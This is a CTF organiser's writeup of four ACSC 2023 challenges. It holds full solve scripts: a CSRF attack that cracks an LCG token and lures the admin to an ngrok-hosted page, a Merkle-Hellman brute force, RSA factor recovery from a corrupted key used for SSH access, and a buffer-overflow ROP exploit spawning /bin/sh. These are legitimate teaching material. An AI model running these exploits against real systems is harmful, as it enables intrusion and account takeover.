ACSC 2023 qualifier just ended last week and I’m glad to be one of the orgainizer team! Here are the writeups for my challenges

# Challenges

But got abit of twist and turn, I put the session cookie Httponly and Lax therefore POST method CSRF will not work. Then I purposely code the addadmin.php using $_REQUEST so it will accept any request method Also put a LCG to generate the CSRF token, only need 3 different token then you can find the A (multiplier) and C (increment) My initial solution script is to use ngrok to host your server, but I realised no need a public server also possible (just submit the link to admin because GET method http://localhost/addadmin?username=pwn&password=464b833b05cc1c33402f6bfb8a41e14b&csrf-token=token) My solution script: import requests import re import time from Crypto.Util.number import * s = requests.Session() params = { "username":"test", "password":"test" } s.get("http://admin-dashboard.chal.ctf.acsc.asia/register",params=params) s.get("http://admin-dashboard.chal.ctf.acsc.asia/login",params=params) r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/addadmin") # Get the 3 different token x0 = int(re.findall('value\="(.*)"',r.text)[0],16) time.sleep(30) r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/addadmin") x1 = int(re.findall('value\="(.*)"',r.text)[0],16) time.sleep(30) r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/addadmin") x2 = int(re.findall('value\="(.*)"',r.text)[0],16) print(hex(x0),hex(x1),hex(x2)) # Calculate the value of A and C to crack the LCG m = 0xc4f3b4b3deadbeef1337c0dedeadc0dd a = (x2-x1)* inverse(x1-x0,m) % m c = x1-a*x0%m X = [bytes_to_long(b'admin')] for i in range(10): X.append((a*X[i]+c)%m) # Calculate the admin's token print(hex(X[1])) open("test.html",'w').write(f'<script>document.location="http://localhost/addadmin?username=pwn&password=464b833b05cc1c33402f6bfb8a41e14b&csrf-token={hex(X[1])[2:]}";</script>') # Host it with python http server and open public url with ngrok data = { "url":"http://a0aa-14-192-209-105.ngrok.io/test.html" } r = s.post("http://admin-dashboard.chal.ctf.acsc.asia/report",data=data) while "Admin will view the URL shortly!" not in r.text: r = s.post("http://admin-dashboard.chal.ctf.acsc.asia/report",data=data) # If the csrf attack success, will create an admin acc pwn s = requests.Session() params = { "username":"pwn", "password":"464b833b05cc1c33402f6bfb8a41e14b" } s.get("http://admin-dashboard.chal.ctf.acsc.asia/login",params=params) # Login and get the flag r = s.get("http://admin-dashboard.chal.ctf.acsc.asia/") print(re.findall('ACSC{.*}',r.text)[0])  Many people complain about the server keep down, actually it’s my fault because I set resource limit at docker compose file ## Flag ACSC{C$rF_15_3VerYwh3Re!}


# Merkle Hellman

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def gcd(a, b):
if a == 0:
return b
return gcd(b % a, a)

# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
num = random.randint(s+1,s+256)
w.append(num)
s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
b.append((i * r) % q)

# Encrypting
c = []
for f in flag:
s = 0
for i in range(7):
if f & (64>>i):
s += b[i]
c.append(s)

print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]


I actually refer this challenge from wikipedia

The intended solution is need to brute force r (from 100 to q) and implement the decryption function from wikipedia

My solution script:

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def gcd(a, b):
if a == 0:
return b
return gcd(b % a, a)

w,q = [184, 332, 713, 1255, 2688, 5243, 10448], 20910
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

for r in range(100,q):
cond = []
if gcd(r,q) == 1:
r_inv = modinv(r,q)

m = ['' for i in range(len(c))]
for index,c_i in enumerate(c):
c_inv = (c_i * r_inv) % q
for w_i in w[::-1]:
if w_i <= c_inv:
c_inv -= w_i
m[index] = '1'+m[index]
else:
m[index] = '0'+m[index]
cond.append(c_inv == 0)
if all(cond):
print(''.join([chr(int(i,2)) for i in m]))
break


## Flag

ACSC{E4zY_P3@zy}


# Corrupted

This challenge is inspired from my previous challenge also called Corrupted. Instead of corrupt line by line I corrupt it byte by byte

The challenge is the hardest challenge I ever made, so is normal if you cannot solve it. I actually surprise it got 9 solves

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP
NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD
1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB
BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X
xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn
JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA?AoI?????8S??Om/???xN
3c??0?/G?OO?aQWQB??ECCi??KD?w??2mFc??pTM?r?rX??X+XFW??Rtw?o?d????ZQ?yp?mczG?q2?0O???1o3?Jt?8?+00s?SY+??MG??7d??7k??o?????ci?K??????wK??Y??gqV????9????YA?Hh5T????ICP+?3HTU?l???m0y?6??2???b2x???????+7??T????????n?7????b?P??iL?/???tq???5jLuy??lX?d?ZEO?7???ld???g
?r?rK??IYA???0???zYCIZt2S???cP??W????f???l5?3c+??UkJr4E?QH??PiiD
WLB???f5A?G?A???????????u???3?K???????I???S?????????J?p?3?N?W???
????r???????8???o???m?????8?s???1?4?l?T?3?j?y?6?F?c?g?3?A?8?S?1?
X?o?D?C?+?7?F?V?U?1?f?K?a?F?7?S?b?V?/?v?5?1?V?A?5?G?y?X?AoGB?L?i
?2?C?t?W?s?Z?h?L?t?3?r?d?M?s?U?E?L?P?n?2?U?G?M?g?D?u?E?s?a?h?K?m
?9?/?n?o?J?8?e?9?9?k?N?2?l?T?8?k?b?e?j?n?Q?u?z?z?e?A?S?6?0?w?5?0
?B?V?i?s?R?W?6?Y?6?u?l?s?G?c?Q?2?Q?w?U?l??GA??V?f???kVYfl???WyY?
3J?2fF?h/???UqfpeO???o?k?9kF??a8L?V?w??????J??9?iP????D???JSx??g??IUC0??t7???I??c??????eh/No?????y8???0?E+??1?JC?Oj??HFy??2T?1nV??HH?+???+??s?L?o??K?zc?????BhB2A?????E??b???e?f??KruaZ??u?tp?Tq?c?t?????iQ1qS??h??m?S?/????FDu3i?p???S??Q?o??0s?e0?n?Hv??C?CnM?/Dw
m9?????uC?Ktm????D?e????h7?A??V??O??5/XsY??Y?A???????q?y?gk?Pbq?
????MQK?gQ??SQ?????ERjLp?N??A??P?So?TPE??WWG???lK?Q????o?aztnUT?
eKe4+h0?VkuB?b?v?7ge?nK1??Jy7?y??9??????BP??gG?kKK?y?Z???yES4i??
?Uhc?p????c4ln?m?r???P??C?8?X?d??TP??k??B?dwjN7??ui?K????????-?N? ?S? ?RI?A?? KE?-???-


After you parse all the values from the file you will get N and random bits of p and q

You will notice the half p and q bits is arranged in a pattern like this:

p = A_A_A_A_A_A...
q = _A_A_A_A_A_...


Then we can use this rule $$N \equiv pq \mod 2^i$$ to slowly recover the missing bits from LSB, can refer to this paper for the details of how to recover from random bits of p and q

My solution script to recover the missing bits:

import base64
from Crypto.PublicKey import RSA
import subprocess

# Get N
text = text[32:-30]
tmp = text[:(65*5)+40].replace('?','').replace('\n','')
n = int(base64.b64decode(tmp).hex()[24:-4],16)
print(hex(n))

# Get bits of p,q
text = text[715:-512]
text = text[:64] + text[65:65+64] + text[65+65:65+65+64] + text[65*3:(65*3)+64] + text[65*4:(65*4)+64] + text[65*5:(65*5)+64]
print(text[12:172+12])
print(text[12+176:-24])
# Replace unknown bytes with 'A'
text = text.replace('?','A')
p = base64.b64decode(text[12:172+12]).hex()
q = base64.b64decode(text[12+176:-24]).hex()
print(p)
print(q)

p = int(p,16)
q = int(q,16)

# Recover p and q start from LSB
# Using the formula N=pq mod 2^i
for t in range(89):
if t % 2:
for i in range(1+(t*6),1+((t+1)*6)):
for j in range(0,2):
temp = q|(j*2**(i-1))
if (p * temp) % 2**i == n % 2**i:
q = temp
else:
for i in range(1+(t*6),1+((t+1)*6)):
for j in range(0,2):
temp = p|(j*2**(i-1))
# print(bin(temp%2**6))
if (q * temp) % 2**i == n % 2**i:
p = temp
# Recovered 534bits of p,q (89*6bits)
print(hex(p%2**534))
print(hex(q%2**534))


After recovered you should get 534 bits of both factors, then you can use coppersmith method to recover the upperbits of one factor! Using the formula $$f(x) = 2^{534}x + a$$ to find the small root x (upperbits)

My sage script to recover the upperbits (need to adjust epsilon a little because of $$2^{490} <= \frac{1}{2}n^{\beta^{2}-\epsilon}$$ writeup reference)

import sys
n = int(sys.argv[1],16)
p = int(sys.argv[2],16)
a = p % 2^534
PR.<x> = PolynomialRing(Zmod(n))
f = ((2^534)*x + a)
f = f.monic()
root = f.small_roots(beta=0.5, epsilon=0.01)[0]
p = int(root) << 534 | a
q = n//p
assert(n==p*q)
print(hex(p)[2:],hex(q)[2:])


Then finally can convert the keys into a private key then can use it the SSH into the server!

# Pass the n,p to sage script to calculate the small roots (coppersmith)
output = subprocess.check_output(['sage','solve.sage',hex(n)[2:],hex(p)[2:]])
p,q = output.split()
p = int(p,16)
q = int(q,16)
phi = (p-1)*(q-1)
e = 65537
d = pow(e,-1, phi)
# print(n,e,d,p,q)
# Generate private file for ssh
key = RSA.construct((n,e,d,p,q))
pem = key.export_key('PEM')
print(pem.decode())
open("private.pem","wb").write(pem)


ACSC{R3c0vEr_F4ctOr5_fROm_Kn0wn_b17$s!}  ## Other amazing writeups # Vaccine Vaccine is a pwn challenge which need to exploit buffer overflow and ROP. I designed it to trick the beginner player (Can’t trick advance player) The original source code: #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char const *argv[]) { FILE* f = fopen("RNA.txt","r"); char rna[100]; char input[100]; fgets(rna,100,f); printf("Give me vaccine: "); fflush(stdout); scanf("%s",input); for (int i = 0; i < strlen(input); ++i) { if(input[i] != 'A' && input[i] != 'C' && input[i] != 'G' && input[i] != 'T'){ puts("Only DNA codes allowed!"); exit(0); } } if(strcmp(rna,input) == 0){ puts("Congrats! You give the correct vaccine!"); FILE* f = fopen("secret.txt","r"); char flag[100]; fgets(flag,100,f); printf("Here is your reward: %s\n",flag); }else{ puts("Oops.. Try again later"); exit(0); } return 0; }  We can bypass the DNA code check with NULL bytes, because of strlen. The strcmp(rna,input) we can bypass by overflow the input variable to rna variable because of scanf("%s",input); After that you will notice the secret.txt is not the flag! As you can see, using scanf("%s",input); is vulnerable to buffer overflow. But need in order to overflow the instruction pointer we need to bypass the strcmp function to return 0 Therefore you need to craft the payload something like this to make ROP (Return Oriented Programming) possible: "A\x00" + padding + "A\x00" + padding + ROP  My solution script: from pwn import * context.arch= "amd64" elf = ELF("./vaccine") libc = ELF("./libc-2.31.so") system_offset = libc.symbols['printf'] - libc.symbols['system'] binsh_offset = libc.symbols['printf'] - next(libc.search(b"/bin/sh")) puts = elf.symbols['puts'] printf_got = elf.symbols['got.printf'] pop_rdi = 0x401443 ret = 0x40101a # p = elf.process() p = remote("vaccine.chal.ctf.acsc.asia",1337) # Leak printf libc address and return to main payload = p64(pop_rdi) + p64(printf_got) + p64(puts) + p64(elf.symbols['main']) p.sendlineafter("Give me vaccine: ",b'A\x00'+b'P'*(98+12)+b'A\x00'+b'P'*(264-114)+payload) p.recvuntil("your flag is in another castle\n") # Calculate system and binsh libc address printf_libc = u64(p.recvline()[:-1]+b'\x00\x00') system = printf_libc - system_offset binsh = printf_libc - binsh_offset print(hex(printf_libc),hex(system),hex(binsh)) # Execute system("/bin/sh") payload = p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) p.sendlineafter("Give me vaccine:",b'A\x00'+b'P'*(98+12)+b'A\x00'+b'P'*(264-114)+payload) p.interactive()  ## Flag ACSC{RoP_3@zy_Pe4$y}


# Conclusion

It was a good experience to become part of a big competition like this, many peoeple ask about my challenge Admin Dashboard because the mysql service keep crashing. I made a mistake in the docker compose file shouldn’t set the resource limit. Also saw some players don’t like the challenge Corrupted maybe I made it too hard? Anyway congrats to all the winners especially mechfrog88 (Top 1 in Malaysia), can see his writeup here